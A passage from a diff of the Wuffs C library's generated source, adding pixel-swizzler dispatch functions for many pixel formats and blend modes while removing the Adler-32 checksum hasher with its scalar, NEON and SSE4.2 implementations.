(wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; ++ } + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ return wuffs_private_impl__swizzle_bgrw__rgb; + } ++ return NULL; ++} + +- self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over; ++ } ++ return NULL; + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); +- return wuffs_base__make_status(NULL); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-wuffs_adler32__hasher* +-wuffs_adler32__hasher__alloc(void) { +- wuffs_adler32__hasher* x = +- (wuffs_adler32__hasher*)(calloc(sizeof(wuffs_adler32__hasher), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_adler32__hasher__initialize( +- x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-size_t +-sizeof__wuffs_adler32__hasher(void) { +- return sizeof(wuffs_adler32__hasher); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Function Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.get_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_adler32__hasher__get_quirk( +- const wuffs_adler32__hasher* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +- return 0u; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.set_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_adler32__hasher__set_quirk( +- wuffs_adler32__hasher* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; + } + +-// -------- func adler32.hasher.update ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_adler32__hasher__update( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +- if ( ! self->private_impl.f_started) { +- self->private_impl.f_started = true; +- self->private_impl.f_state = 1u; +- self->private_impl.choosy_up = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : +-#endif +- self->private_impl.choosy_up); +- } +- wuffs_adler32__hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.update_u32 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_8_8; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_adler32__hasher__update_u32( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +- wuffs_adler32__hasher__update(self, a_x); +- return self->private_impl.f_state; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +-// -------- func adler32.hasher.up ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- return (*self->private_impl.choosy_up)(self, a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over; ++ } ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over; ++ } ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; + } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up__choosy_default( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5552u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); +- } +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over; + } +- v_p.len = 0; +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- a_x = v_remaining; +- } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func adler32.hasher.checksum_u32 +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_adler32__hasher__checksum_u32( +- const wuffs_adler32__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return self->private_impl.f_state; +-} +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func adler32.hasher.up_arm_neon ++ return NULL; + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_arm_neon( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- uint8x16_t v_p__left = {0}; +- uint8x16_t v_p_right = {0}; +- uint32x4_t v_v1 = {0}; +- uint32x4_t v_v2 = {0}; +- uint16x8_t v_col0 = {0}; +- uint16x8_t v_col1 = {0}; +- uint16x8_t v_col2 = {0}; +- uint16x8_t v_col3 = {0}; +- uint32x2_t v_sum1 = {0}; +- uint32x2_t v_sum2 = {0}; +- uint32x2_t v_sum12 = {0}; +- uint32_t v_num_iterate_bytes = 0; +- uint64_t v_tail_index = 0; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; ++ } ++ return NULL; + +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s1 += ((uint32_t)(a_x.ptr[0u])); +- v_s2 += v_s1; +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5536u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); +- } +- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); +- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); +- v_v1 = vdupq_n_u32(0u); +- v_v2 = vdupq_n_u32(0u); +- v_col0 = vdupq_n_u16(0u); +- v_col1 = vdupq_n_u16(0u); +- v_col2 = vdupq_n_u16(0u); +- v_col3 = vdupq_n_u16(0u); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_p__left = vld1q_u8(v_p.ptr); +- v_p_right = vld1q_u8(v_p.ptr + 16u); +- v_v2 = vaddq_u32(v_v2, v_v1); +- v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); +- v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); +- v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); +- v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); +- v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); +- v_p.ptr += 32; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; + } +- v_p.len = 0; +- } +- v_v2 = vshlq_n_u32(v_v2, 5u); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), ((uint16x4_t){16u, 15u, 14u, 13u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); +- v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); +- v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); +- v_sum12 = vpadd_u32(v_sum1, v_sum2); +- v_s1 += vget_lane_u32(v_sum12, 0u); +- v_s2 += vget_lane_u32(v_sum12, 1u); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over; + } +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- a_x = v_remaining; +- } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon ++ return NULL; + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func adler32.hasher.up_x86_sse42 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; ++ } ++ return NULL; + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_x86_sse42( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_zeroes = {0}; +- __m128i v_ones = {0}; +- __m128i v_weights__left = {0}; +- __m128i v_weights_right = {0}; +- __m128i v_q__left = {0}; +- __m128i v_q_right = {0}; +- __m128i v_v1 = {0}; +- __m128i v_v2 = {0}; +- __m128i v_v2j = {0}; +- __m128i v_v2k = {0}; +- uint32_t v_num_iterate_bytes = 0; +- uint64_t v_tail_index = 0; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; ++ } ++ return NULL; + +- v_zeroes = _mm_set1_epi16((int16_t)(0u)); +- v_ones = _mm_set1_epi16((int16_t)(1u)); +- v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); +- v_weights_right = _mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), (int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5536u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); +- } +- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); +- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); +- v_v1 = _mm_setzero_si128(); +- v_v2j = _mm_setzero_si128(); +- v_v2k = _mm_setzero_si128(); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); +- v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); +- v_v2j = _mm_add_epi32(v_v2j, v_v1); +- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); +- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); +- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); +- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); +- v_p.ptr += 32; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; + } +- v_p.len = 0; +- } +- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); +- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); +- v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); +- v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); +- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); +- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); +- v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; + } +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; 